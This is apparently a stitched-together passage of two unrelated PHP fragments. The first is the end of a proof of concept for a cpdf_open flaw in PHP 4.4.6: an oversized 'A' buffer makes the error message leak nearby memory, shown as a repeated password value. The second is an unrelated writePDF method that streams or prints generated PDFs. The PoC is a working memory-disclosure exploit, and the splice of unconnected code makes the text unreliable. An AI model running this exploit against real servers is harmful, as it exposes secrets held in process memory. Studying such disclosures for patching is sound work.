to be launched from the cli this will show as output something like this: ClibPDF: Cannot open [A * 11111]$my_password_is="suntzu";[newline] $my_password_is="suntzu";[etc...] for PDF output X-Powered-By: PHP/4.4.6 Content-type: text/html I don't see some echo, and you? :) */ if (!extension_loaded("cpdf")) { die("you need the cpdf extension loaded."); } $____buff = str_repeat('A', 1111); $p = cpdf_open(1, $____buff); //some code with some information $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu"; $my_password_is = "suntzu";
function writePDF($pdffilename, $toprinter = false) { // check to see if the transform has been performed if not then perform // $this->transform(); if (!($dom = domxml_open_mem($this->outputXML))) { print "error while parsing the document<br>\n"; exit; } $root = $dom->document_element(); // page preprod, set the page parameters once $tempdir = getcwd() . "/"; $tstamp = $tempdir . uniqid("tmp") . ".pdf"; $this->cpdf = cpdf_open(0, $tstamp); // CONVerT XML ELEMENTS TO PDF $this->elementsToPDF($root); // page postprod, close the page cpdf_finalize($this->cpdf); // cpdf_save_to_file($this->cpdf,"$tstamp"); cpdf_close($this->cpdf); if ($toprinter) { $printCommand = "pdfprint -configure nccpdfprint.cfg {$tstamp}"; exec($printCommand, $results, $returnVal); return $results; } else { // for output to browser $pdfsize = filesize($tstamp); $fp = fopen($tstamp, "r"); header("Content-type: application/pdf"); header("Content-Disposition: inline; filename={$pdffilename}"); header("Content-length: {$pdfsize}"); // for IE to work fpassthru($fp); fclose($fp); } #unlink($tstamp); }